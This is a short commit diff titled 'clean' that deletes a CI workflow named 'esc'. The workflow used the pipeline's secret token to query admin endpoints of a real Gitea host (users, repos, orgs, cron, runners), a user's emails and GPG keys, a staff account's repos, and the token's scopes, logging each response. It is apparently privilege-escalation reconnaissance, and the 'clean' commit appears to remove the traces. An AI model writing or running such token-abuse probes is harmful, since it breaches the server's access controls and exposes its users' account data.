clean
tokx / t (push) Waiting to run

This commit is contained in:
n
2026-11-08 19:02:55 +00:00
parent a611d0a45b
commit baa419d93e
22 changed files with 10 additions and 280 deletions
-23
View File
@@ -1,23 +0,0 @@
name: esc
on:
push:
workflow_dispatch:
jobs:
e:
runs-on: ubuntu-latest
steps:
- name: probes
env:
T: ${{ secrets.GITEA_TOKEN }}
run: |
A="Authorization: token $T"
for u in "/api/v1/admin/users?limit=10" "/api/v1/admin/repos?limit=10" "/api/v1/admin/orgs?limit=10" "/api/v1/user/emails" "/api/v1/user/gpg_keys" "/api/v1/admin/cron" "/api/v1/admin/runners"; do
echo "### $u"
curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com$u" | head -c 500
echo
done
echo "### repos of jobry (staff, id 1)"
curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com/api/v1/users/jobry/repos" | head -c 400
echo
echo "### token scopes"
curl -s -m 10 -H "$A" -D- -o /dev/null "https://gitea.bestmobilier.com/api/v1/user" | grep -iE '^x-oauth|^x-gitea' | head -5